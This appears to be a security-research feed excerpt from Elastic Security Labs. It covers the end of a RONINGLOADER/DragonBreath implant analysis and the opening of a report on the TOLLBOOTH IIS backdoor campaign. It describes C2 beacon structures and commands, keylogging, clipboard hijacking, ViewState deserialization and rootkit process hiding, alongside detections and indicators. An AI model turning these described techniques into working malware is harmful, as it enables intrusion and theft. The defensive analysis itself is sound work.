<p>The implant checks in with the C2 server and repeatedly beacons to the C2 at random intervals, implemented through <code>Sleep(&lt;random_amount&gt; * 1000)</code>. Below is the structure for the data that the implant returns to the C2 server during the beaconing interval:</p>
<pre><code>struct BeaconData {
    // +0x000
    uint32_t message_type;           // Example Beacon ID - 0xC8 (200)

    // +0x004
    uint32_t local_ip;               // inet_addr() of victim's IP

    // +0x008
    char hostname[50];               // Computer name or registry "Remark"

    // +0x03A
    char windows_version[?];         // OS version info

    // +0x0D8
    char cpu_name[64];               // Processor name

    // +0x118
    uint32_t entry_rdx;              

    // +0x11C
    char time_value[64];             // Implant installed time or registry "Time" value

    // +0x15C
    char victim_tag[39];             // Command 6 buffer (Custom victim tag)

    // +0x183
    uint8_t is_wow64;                // 1 if 32-bit on 64-bit Windows

    // +0x184
    char av_processes_found[128];    // Antivirus processes found

    // +0x204
    char uptime[12];                 // System uptime

    char padding[52];                 

    // +0x244
    char crypto_wallet_track[64];    // "狐狸系列" (MetaMask) or registry "ZU" (crypto related tracking)

    // +0x284
    uint8_t is_admin;                // 1 if running with admin rights

    // +0x285
    char data[?];             

    // +0x305
    uint8_t telegram_installed;      // 1 if Telegram installed

    // +0x306
    uint8_t telegram_running;        // 1 if Telegram.exe running

    // +0x307
    // (padding to 0x308 bytes)
};
</code></pre>
<h4 id="c2commands">C2 commands</h4>
<p>Request messages sent from the C2 server to the implant follow the structure:</p>
<pre><code>struct C2_to_implant_msg {
    uint32_t total_message_len;
    uint32_t RC4_key;
    char encrypted_command_id;
    uint8_t encrypted_command_args;
};
</code></pre>
<p>The implant decrypts C2 messages through the following formula:</p>
<p><code>RC4_decrypt(ASCII(decimal(RC4_key)), encrypted_command_id || command)</code></p>
<p>Below is a list of available commands that, for the most part, remain the same as 2 years ago:</p>
<p>| Command ID | Description |
| :---- | :---- |
| <code>0</code> | <code>ExitWindowsEx</code> via a supplied <code>EXIT_WINDOWS_FLAGS</code> |
| <code>1</code> | Terminate implant gracefully |
| <code>2</code> | Set registry key <code>Enable</code> to False to terminate &amp; disable implant persistently |
| <code>3</code> | Set registry key <code>Remark</code> for custom victim renaming (default value: hostname) |
| <code>4</code> | Set registry key <code>ZU</code> for MetaMask / crypto-related tagging |
| <code>5</code> | Clear Windows Event logs (Application, Security, System) |
| <code>6</code> | Set additional custom tags when client beacons |
| <code>7</code> | Download and execute file via supplied URL |
| <code>9</code> | <code>ShellExecute</code> (visible window) |
| <code>10</code> | <code>ShellExecute</code> (hidden window) |
| <code>112</code> | Get clipboard data |
| <code>113</code> | Set clipboard data |
| <code>125</code> | <code>ShellExecute</code> <code>cmd.exe</code> with command parameters (hidden window) |
| <code>126</code> | Execute payload by dropping to disk or reflectively load and execute <code>PluginMe</code> export |
| <code>128</code> | First option - open a new session with a supplied C2 domain, port, and beacon interval. Second option - set registry key <code>CopyC</code> to update C2 domain and port permanently. Stored encrypted via <code>Base64Encode(XOR(C2_domain_and_port, 0x5))</code>. |
| <code>241</code> | Check if Telegram is installed and/or running |
| <code>243</code> | Configure Clipboard Hijacker |
| <code>101</code>, <code>127</code>, <code>236</code>, <code>[...]</code> | Custom shellcode injection into <code>svchost.exe</code> using WTS session token impersonation, falling back to <code>CREATE_SUSPENDED</code> process injection via <code>CreateRemoteThread</code> |</p>
<blockquote>
  <p>Analyst note: There are multiple command IDs that point to the same command. We used an ellipsis to identify when this was observed.</p>
</blockquote>
<h4 id="systemlogger">System Logger</h4>
<p>In addition to the C2 commands, the implant implements a keystroke, clipboard, and active-window logger. Captured data is written to <code>%ProgramData%\microsoft.dotnet.common.log</code> and can be enabled or disabled via a registry key at <code>HKEY_CURRENT_USER\offlinekey\open</code> (<code>1</code> to enable, <code>0</code> to disable). The log file implements automatic rotation, deleting itself when it exceeds 50 MB to avoid detection through excessive disk usage.</p>
<p>The code snippet below demonstrates the initialization routine that implements log rotation and configures a DirectInput8 interface to acquire the keyboard device for event capture, followed by the keyboard event retrieval logic.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8c2df57690892cbc/6a7c9348de23151b61fd2114/image3.png" alt="Log rotation and keylogger initialization" title="Log rotation and keylogger initialization" />  </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta09645040de7c461/6a7c934bde23156fc0fd2118/image38.png" alt="Keyboard event retrieval" title="Keyboard event retrieval" />  </p>
<p>The malware then enters a monitoring loop to capture three categories of information. </p>
<ul>
<li>First, it monitors the clipboard using <code>OpenClipboard</code> and <code>GetClipboardData</code>, logging any changes to text content with the prefix <code>[剪切板:]</code>.   </li>
<li>Second, it tracks window focus changes via <code>GetForegroundWindow</code>, logging the active window title and timestamp with the prefixes <code>[标题:]</code> and <code>[时间:]</code>, respectively, whenever the user switches applications.   </li>
<li>Third, it retrieves buffered keyboard events from the <code>DirectInput8</code> device (up to 60 events per poll) and translates them into readable text through a character mapping table, prepending the results with a prefix <code>[内容:]</code>. </li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt03a8667ca31879a7/6a7c934e42a117d1cb956447/image36.png" alt="Example captured content in microsoft.dotnet.common.log" title="Example captured content in microsoft.dotnet.common.log" />  </p>
<h4 id="clipboardhijacker">Clipboard Hijacker</h4>
<p>The malware also implements a clipboard hijacker that is remotely configured through C2 command ID 243. It monitors clipboard changes and performs search-and-replace operations on captured text, substituting attacker-defined strings with replacement values. Configuration parameters are stored in the registry under <code>HKEY_CURRENT_USER\offlinekey</code> with keys <code>clipboard</code> (enable/disable feature), <code>charac</code> (search string), <code>characLen</code> (search length), and <code>newcharac</code> (replacement string).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc8bce6e42c0b4a8b/6a7c935133fa8a8d151fccbe/image16.png" alt="Clipboard hijacker setup through C2 command" title="Clipboard hijacker setup through C2 command" />  </p>
<p>It registers a window class named <code>ClipboardListener_Class_Toggle</code> and creates a hidden window titled <code>ClipboardMonitor</code> to receive clipboard change notifications. The window procedure handles <code>WM_CLIPBOARDUPDATE</code> (<code>0x31D</code>) messages by verifying clipboard sequence numbers with <code>GetClipboardSequenceNumber</code> to detect genuine changes, then invoking the core manipulation routine, which swaps the clipboard content via <code>EmptyClipboard</code> and <code>SetClipboardData</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt01c110c0e8befc17/6a7c9354ead8ec07daba4c72/image30.png" alt="ClipboardMonitor setup, responsible for the actual clipboard swap" title="ClipboardMonitor setup, responsible for the actual clipboard swap" />  </p>
<h2 id="malwareandmitreattck">Malware and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3 id="tactics">Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0004/">Privilege Escalation</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
</ul>
<h3 id="techniques">Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1059/003/">Command and Scripting Interpreter: Windows Command Shell</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1569/002/">System Services: Service Execution</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1543/003/">Create or Modify System Process: Windows Service</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1548/002/">Abuse Elevation Control Mechanism: Bypass User Account Control</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1134/">Access Token Manipulation</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1562/001/">Impair Defenses: Disable or Modify Tools</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1562/004/">Impair Defenses: Disable or Modify System Firewall</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1070/001/">Indicator Removal: Clear Windows Event Logs</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1574/002/">Hijack Execution Flow: DLL Side-Loading</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1036/005/">Masquerading: Match Legitimate Name or Location</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1112/">Modify Registry</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1553/006/">Subvert Trust Controls: Code Signing Policy Modification</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1056/001/">Input Capture: Keylogging</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1115/">Clipboard Data</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1033/">System Owner/User Discovery</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1518/001/">Software Discovery: Security Software Discovery</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1095/">Non-Application Layer Protocol</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1573/001/">Encrypted Channel: Symmetric Cryptography</a></li>
</ul>
<h2 id="mitigations">Mitigations</h2>
<h3 id="detection">Detection</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_potential_evasion_via_clipup_execution.toml">Potential Evasion via ClipUp Execution</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_suspicious_remote_memory_allocation.toml">Suspicious Remote Memory Allocation</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_potential_suspended_process_code_injection.toml">Potential Suspended Process Code Injection</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_remote_memory_write_to_trusted_target_process.toml">Remote Memory Write to Trusted Target Process</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_remote_process_memory_write_by_low_reputation_module.toml">Remote Process Memory Write by Low Reputation Module</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_process_memory_write_to_a_non_child_process.toml">Process Memory Write to a Non Child Process</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_unbacked_shellcode_from_unsigned_module.toml">Unbacked Shellcode from Unsigned Module</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/privilege_escalation_uac_bypass_attempt_via_wow64_logger_dll_side_loading.toml">UAC Bypass Attempt via WOW64 Logger DLL Side-Loading</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/command_and_control_network_connect_api_from_unbacked_memory.toml">Network Connect API from Unbacked Memory</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_rundll32_or_regsvr32_loaded_a_dll_from_unbacked_memory.toml">Rundll32 or Regsvr32 Loaded a DLL from Unbacked Memory</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_network_module_loaded_from_suspicious_unbacked_memory.toml">Network Module Loaded from Suspicious Unbacked Memory</a></li>
</ul>
<h3 id="yara">YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify RONINGLOADER and the final implant:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_RoningLoader.yar">Windows.Trojan.RoningLoader</a> </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_DragonBreath.yar">Windows.Trojan.DragonBreath</a></li>
</ul>
<h2 id="observations">Observations</h2>
<p>The following observables were discussed in this research.</p>
<p>| Observable | Type | Name | Reference |
| :---- | :---- | :---- | :---- |
| <code>da2c58308e860e57df4c46465fd1cfc68d41e8699b4871e9a9be3c434283d50b</code> | SHA-256 | <code>klklznuah.msi</code> | Initial MSI installer |
| <code>82794015e2b40cc6e02d3c1d50241465c0cf2c2e4f0a7a2a8f880edaee203724</code> | SHA-256 | <code>Snieoatwtregoable.exe</code> | Malicious installer unpacked from initial installer |
| <code>c65170be2bf4f0bd71b9044592c063eaa82f3d43fcbd8a81e30a959bcaad8ae5</code> | SHA-256 | <code>Snieoatwtregoable.dll</code> | Stage 1 - loader for stage 2 |
| <code>2515b546125d20013237aeadec5873e6438ada611347035358059a77a32c54f5</code> | SHA-256 | <code>ollama.sys</code> | Stage 2 - driver for process termination |
| <code>1613a913d0384cbb958e9a8d6b00fffaf77c27d348ebc7886d6c563a6f22f2b7</code> | SHA-256 | <code>tp.png</code> | Stage 2 - encrypted core payload |
| <code>395f835731d25803a791db984062dd5cfdcade6f95cc5d0f68d359af32f6258d</code> | SHA-256 | <code>1.bat</code> | Stage 2 - UAC bypass script |
| <code>1c1528b546aa29be6614707cbe408cb4b46e8ed05bf3fe6b388b9f22a4ee37e2</code> | SHA-256 | <code>fhq.bat</code> | Stage 2 - script to block networking for AV processes |
| <code>4d5beb8efd4ade583c8ff730609f142550e8ed14c251bae1097c35a756ed39e6</code> | SHA-256 | <code>1.dll</code> | Stage 2 - AV processes termination |
| <code>96f401b80d3319f8285fa2bb7f0d66ca9055d349c044b78c27e339bcfb07cdf0</code> | SHA-256 | <code>{31351756-3F24-4963-8380-4E7602335AAE}.cip</code> | Stage 2 - WDAC policy |
| <code>33b494eaaa6d7ed75eec74f8c8c866b6c42f59ca72b8517b3d4752c3313e617c</code> | SHA-256 | <code>goldendays.dll</code> | Stage 3 - entry point |
| <code>fc63f5dfc93f2358f4cba18cbdf99578fff5dac4cdd2de193a21f6041a0e01bc</code> | SHA-256 | <code>trustinstaller.bin</code> | Stage 3 - loader for <code>Enpug.bin</code> |
| <code>fd4dd9904549c6655465331921a28330ad2b9ff1c99eb993edf2252001f1d107</code> | SHA-256 | <code>Enpug.bin</code> | Stage 3 - loader for final payload |
| <code>3dd470e85fe77cd847ca59d1d08ec8ccebe9bd73fd2cf074c29d87ca2fd24e33</code> | SHA-256 | <code>6uf9i.exe</code> | Stage 4 - final payload |
| <code>qaqkongtiao[.]com</code> | domain-name |  | Stage 4 - final payload C2 |</p>
<h2 id="references">References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li>https://nsis.sourceforge.io/Main_Page  </li>
<li>https://learn.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service  </li>
<li>https://github.com/Jemmy1228/HookSigntool  </li>
<li>https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/  </li>
<li>https://hijacklibs.net/entries/microsoft/built-in/wow64log.html  </li>
<li>https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function  </li>
<li>https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html  </li>
<li>https://github.com/TwoSevenOneT/EDR-Freeze/blob/ceffd5ea7b813b356c77d469561dbb5ee45aeb24/PPLHelp.cpp#L43  </li>
<li>https://news.sophos.com/en-us/2023/05/03/doubled-dll-sideloading-dragon-breath/  </li>
<li>https://ti.qianxin.com/blog/articles/operation-dragon-breath-%28apt-q-27%29-dimensionality-reduction-blow-to-the-gambling-industry/  </li>
<li>https://github.com/sin5678/gh0st</li>
</ul>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/roningloader</link>
    <guid isPermaLink="false">roningloader</guid>
    <category><![CDATA[Malware Analysis]]></category>
    <dc:creator><![CDATA[Jia Yu Chan,Salim Bitam]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt5d1279ca722190a4/6a7c935833fa8aa7de1fccc2/roningloader.png" length="0" type="image/png"/>
    <pubDate>Sat, 15 Nov 2025 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[TOLLBOOTH: What's yours, IIS mine]]></title>
    <description><![CDATA[REF3927 abuses publicly disclosed ASP.NET machine keys to compromise IIS servers and deploy TOLLBOOTH SEO cloaking modules globally.]]></description>
    <content:encoded><![CDATA[<h2 id="introduction">Introduction</h2>
<p>In September 2025, <a href="https://www.cyber.tamus.edu/">Texas A&amp;M University System (TAMUS) Cybersecurity</a>, a managed detection and response provider in collaboration with Elastic Security Labs, discovered post-exploitation activity by a Chinese-speaking threat actor who installed a malicious IIS module, which we are calling TOLLBOOTH. During this time, we observed a Godzilla-forked webshell <a href="https://github.com/ekkoo-z/Z-Godzilla_ekp">framework</a>, the use of the Remote Monitoring and Management (RMM) tool GotoHTTP, along with a malicious driver used to conceal their activity. The threat actor exploited a misconfigured IIS web server that used ASP.NET machine keys found in public resources, such as Microsoft’s documentation or StackOverflow support pages. </p>
<p>A similar chain of events was first <a href="https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/">reported</a> by Microsoft in February, earlier this year. Our team believes this is the continuation of the same threat activity that AhnLab also <a href="https://asec.ahnlab.com/en/87804/">detailed</a> in April, based on similar malware and behaviors. During this event, we were able to leverage our partnership with Texas A&amp;M System Cybersecurity to collect insights around the activity. Additionally, through collaboration with <a href="https://www.validin.com/">Validin</a>, leveraging their global scanning infrastructure, we’ve determined that organizations worldwide have been impacted by this campaign. The following report will detail the events and tooling used in this activity cluster, known as REF3927. Our hope is to raise more awareness of this activity among defenders and organizations, as it is actively being abused at a global scale.</p>
<h3 id="keytakeaways">Key takeaways</h3>
<ul>
<li>Threat actors are abusing misconfigured IIS servers using publicly exposed machine keys </li>
<li>Post-compromise behaviors include using a malicious driver, remote monitoring tooling, credential dumping, webshell deployment, and IIS malware</li>
<li>Threat actors adapted the open source “Hidden” rootkit project to hide their presence</li>
<li>The main objective appears to be to install an IIS backdoor, called TOLLBOOTH, that includes SEO cloaking and webshell capabilities</li>
<li>This campaign included large-scale exploitation across geographies and industry verticals</li>
</ul>
<h2 id="campaignoverview">Campaign Overview</h2>
<h3 id="attackvector">Attack vector</h3>
<p>Last month, Elastic Security Labs and Texas A&amp;M System Cybersecurity investigated an intrusion involving a misconfigured Windows IIS server. This was directly related to a server configured with ASP.NET machine keys that were previously published on the Internet. Machine keys used in ASP.NET applications refer to cryptographic keys used to encrypt and validate data. These keys are composed of two parts, <code>ValidationKey</code> and <code>DecryptionKey</code>, which are used to secure ASP.NET features such as <code>ViewState</code> and authentication cookies.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc82bc04ff095eb69/6a7c96c46c6eac698ef0e863/image16.png" alt="REF3927 attack pattern &amp; TOLLBOOTH SEO cloaking workflow" title="REF3927 attack pattern &amp; TOLLBOOTH SEO cloaking workflow" /></p>
<p><code>ViewState</code> is a mechanism used by <a href="https://www.elastic.co/security-labs/threat-command/ASP.NET">ASP.NET</a> web applications to preserve the state of a page and its controls across HTTP requests. Since HTTP is a stateless protocol, <code>ViewState</code> allows data to be collected when the page is submitted and rendered again. This data is stored in a hidden field (<code>__VIEWSTATE</code>) on the page that is serialized and encoded in Base64. This <code>ViewState</code> field is susceptible to <a href="https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html">deserialization attacks</a>, allowing an attacker to forge payloads using the application's machine keys. We have reason to believe this is part of an opportunistic campaign targeting Windows web servers using publicly exposed machine keys.</p>
<p>Below is an example of this type of deserialization attack, demonstrated via a POST request in a virtual environment using an open source .NET deserialization payload <a href="https://github.com/pwntester/ysoserial.net">generator</a>. The <code>__VIEWSTATE</code> field contains a URL-encoded and Base64-encoded payload that will perform a <code>whoami</code> and write a file to a directory. With a successful exploitation request, the server will respond with an <code>HTTP/1.1 500 Internal Server Error</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0ddc0b7c74bd6a0d/6a7c96c680ee381c1160d577/image14.png" alt="Packet capture showing an example of a successful deserialization attack" title="Packet capture showing an example of a successful deserialization attack" /></p>
<h3 id="postcompromiseactivity">Post-compromise activity</h3>
<p>Upon initial access through ViewState injection, REF3927 was observed deploying webshells, including a Godzilla shell framework, to facilitate persistent access. They then enumerated privileges and attempted (unsuccessfully) to create their own user accounts. When account creation attempts failed, the actor then uploaded and executed the GotoHTTP Remote Monitoring and Management (RMM) tool. The threat actor created an Administrator account and attempted to dump credentials using Mimikatz, but this was prevented by Elastic Defend. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3828b8954c2b67fc/6a7c96ca05b7b57bb1185efb/image6.png" alt="Elastic Defend alerting showing hands-on post-compromise activity" title="Elastic Defend alerting showing hands-on post-compromise activity" /></p>
<p>With attempts to further expand the scope of the intrusion blocked, the threat actor deployed their traffic hijacking IIS Module, TOLLBOOTH, as a means to monetize their access. The actor also attempted to deploy a modified version of the open-source Hidden rootkit to obfuscate their malware. In the observed intrusion, Elastic Defend prevented both TOLLBOOTH and the rootkit from being executed.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt274f559cd16d0fd7/6a7c96cc96b5a680bf875a09/image13.png" alt="Actor attempts to deploy Mimikatz, HIDDENDRIVER, and TOLLBOOTH" title="Actor attempts to deploy Mimikatz, HIDDENDRIVER, and TOLLBOOTH" /></p>
<h2 id="godzillaekpanalysis">Godzilla EKP analysis</h2>
<p>One of the main tools used by this group is a Godzilla-forked framework called <code>Z-Godzilla_ekp</code> written by <a href="https://github.com/ekkoo-z">ekkoo-z</a>. This tool piggybacks off the previous Godzilla <a href="https://github.com/BeichenDream/Godzilla">project</a> by adding new features such as an AMSI bypass plugin and masquerading its network traffic to appear more legitimate. This toolkit allows operators to generate ASP.NET, Java, C#, and PHP payloads, connect to targets, and provides different encryption options to hide network traffic. This framework uses a plugin system driven by a GUI with many features, including:</p>
<ul>
<li>Discovery/enumeration capabilities</li>
<li>Privilege escalation techniques</li>
<li>Command execution/file execution</li>
<li>Shellcode loader, meterpreter, in-memory PE execution</li>
<li>File management, zipping utility</li>
<li>Cred stealing plugin (<code>lemon</code>) - Retrieves FileZilla, Navicat, WinSCP, and Xmanager credentials</li>
<li>Browser password scraping</li>
<li>Port scanning, HTTP proxy configuration, note-taking</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf0849a0d66ad1945/6a7c96cf9f5251a460664480/image10.png" alt="Command execution plugin from Z-Godzilla_ekp" title="Command execution plugin from Z-Godzilla_ekp" /></p>
<p>Below is a network traffic example showing the operator traffic to the webshell (<code>error.aspx</code>) using <code>Z-Godzilla_ekp</code>. The webshell will take the Base64-encoded AES-encrypted data from the HTTP POST request, then execute the .NET assembly in-memory. These requests are disguised by embedding the encrypted data in HTTP POST parameters in order to blend in as normal network traffic.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltad07429be3448b98/6a7c96d2448e4e10ae5bb057/image3.png" alt="Example of POST request using Z-Godzilla_ekp" title="Example of POST request using Z-Godzilla_ekp" /></p>
<h2 id="rootkitanalysis">Rootkit analysis</h2>
<p>The attacker hid their presence on the infected machine by deploying a kernel rootkit. This rootkit works in conjunction with a userland application named HijackDriverManager, whose interface strings are written in Chinese, to interact with the driver. For this analysis, we examined both the malicious rootkit and the code from the original “Hidden” open-source project from which it was derived. Internally, we are calling the rootkit <code>HIDDENDRIVER</code> and the userland application <code>HIDDENCLI</code>.</p>
<p>This malicious software is a modified version of the open source rootkit <a href="https://github.com/JKornev/hidden">Hidden</a>, which has been available on GitHub for years. The malware author made minor modifications before compilation. For example, the rootkit uses Direct Kernel Object Manipulation (DKOM) to hide its presence and maintain persistence on the compromised system. The compiled driver still has “hidden” within the compilation path string, indicating that they used the “Hidden” rootkit project. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0a6a810fa0dd4dff/6a7c96d49f5251063d664486/image1.png" alt="Rookit’s string showing the compilation path" title="Rookit’s string showing the compilation path" /></p>
<p>Upon initial loading into the kernel, the driver prioritizes a series of critical initialization steps. It first invokes seven initialization functions: </p>
<ul>
<li><code>InitializeConfigs</code></li>
<li><code>InitializeKernelAnalyzer</code></li>
<li><code>InitializePsMonitor</code></li>
<li><code>InitializeFSMiniFilter</code></li>
<li><code>InitializeRegistryFilter</code></li>
<li><code>InitializeDevice</code></li>
<li><code>InitializeStealthMode</code></li>
</ul>
<p>To prepare its internal components before populating its driver object and associated fields, such as major functions.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt6071bd9696c64420/6a7c96d7e88c650557005cb4/image7.png" alt="Malicious rootkit initialization function" title="Malicious rootkit initialization function" /></p>
<p>The following sections will elaborate on each of these seven critical initialization functions, detailing their purpose.</p>
<h3 id="initializeconfigs">InitializeConfigs</h3>
<p>The rootkit's initial action is to run the <code>InitializeConfigs</code> function. This function's sole purpose is to read the rootkit's configuration from the driver's service key in the Windows registry, which is populated by the userland application. These values are extracted and put in global configuration variables that will be later used by the rootkit.</p>
<p>The following table summarizes the configuration parameters that the rootkit extracts from the registry:</p>
<p>| Registry name       | Description                                                    | Type   |
|---------------------|----------------------------------------------------------------|--------|
| <code>Kbj_WinkbjFsDirs</code>    | A list of directory paths to be hidden                         | string |
| <code>Kbj_WinkbjFsFiles</code>   | A list of file paths to be hidden                              | string |
| <code>Kbj_WinkbjRegKeys</code>   | A list of registry keys to be hidden                           | string |
| <code>Kbj_WinkbjRegValues</code> | A list of registry values to be hidden                         | string |
| <code>Kbj_FangxingImages</code>  | A list of process images to whitelist                          | string |
| <code>Kbj_BaohuImages</code>     | A list of process images to protect                            | string |
| <code>Kbj_WinkbjImages</code>    | A list of process images to be hidden                          | string |
| <code>Kbj_Zhuangtai</code>       | A global kill switch that is set from userland                 | bool   |
| <code>Kbj_YinshenMode</code>     | This flag signals that the rootkit must conceal its artifacts. | bool   |</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf596d79b0123a8ec/6a7c96da80ee38343a60d581/image9.png" alt="Rootkit retrieves values from its configuration stored in the registry" title="Rootkit retrieves values from its configuration stored in the registry" /></p>
<h3 id="initializekernelanalyzer">InitializeKernelAnalyzer</h3>
<p>Its purpose is to dynamically scan the kernel memory to find the addresses of the <code>PspCidTable</code> and <code>ActiveProcessLinks</code> that are needed.</p>
<p>The <a href="http://uninformed.org/index.cgi?v=3&amp;a=7&amp;p=6"><code>PspCidTable</code></a> is the kernel's structure that serves as a table for process and thread IDs, while <a href="https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/manipulating-activeprocesslinks-to-unlink-processes-in-userland"><code>ActiveProcessLinks</code></a> under the <code>_EPROCESS</code> structure serves as a doubly-linked list connecting all currently running processes. It allows the system to track and traverse all active processes. By removing entries from this list, it is possible to hide processes from enumeration tools like <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer">Process Explorer</a>.</p>
<h4 id="lookforpspcidtable">LookForPspCidTable</h4>
<p>It searches for the <code>PspCidTable</code> address by disassembling the function <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-pslookupprocessbyprocessid"><code>PsLookupProcessByProcessId</code></a>with the library <a href="https://github.com/zyantific/zydis">Zydis</a> and parsing it.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt38101d5173150984/6a7c96dd4c4bfb78adcc7cf2/image15.png" alt="Original hidden code: PspCidTable lookup" title="Original hidden code: PspCidTable lookup" /></p>
<h4 id="lookforactiveprocesslinks">LookForActiveProcessLinks</h4>
<p>This function determines the offset of the <code>ActiveProcessLinks</code> field within the <code>_EPROCESS</code> structure. It uses hardcoded offset values specific to different Windows versions. It has a fast scanning process that relies on these hardcoded values to find the <code>ActiveProcessLinks</code> field, which will be validated by another function. In case it fails to find it with the hardcoded values, it takes a brute-force approach by starting from a hardcoded relative offset to the maximum possible offset.</p>
<h3 id="initializepsmonitor">InitializePsMonitor</h3>
<p><code>InitializePsMonitor</code> sets up the rootkit's process monitoring and manipulation engine. This is the heart of its ability to hide processes.</p>
<p>It first initializes three <a href="https://medium.com/@ys.yogendra22/avl-tree-self-balancing-binary-search-tree-20188ff58b05">AVL tree structures</a> to hold information (rules) for excluding, protecting, and hiding processes. It uses <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-rtlinitializegenerictableavl"><code>RtlInitializeGenericTableAvl</code></a> for high-speed lookups and populates them with data from the configuration. It then sets up different kernel callbacks to monitor the system using the set of rules.</p>
<h4 id="registeringobjectmanagercallbackwithobregistercallbacks">Registering object manager callback with (ObRegisterCallbacks)</h4>
<p>This hook registers the <code>ProcessPreCallback</code> and <code>ThreadPreCallback</code> functions. The <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/windows-kernel-mode-object-manager">kernel's Object Manager</a> executes this code before it completes any request to create or duplicate a handle to a process or thread.</p>
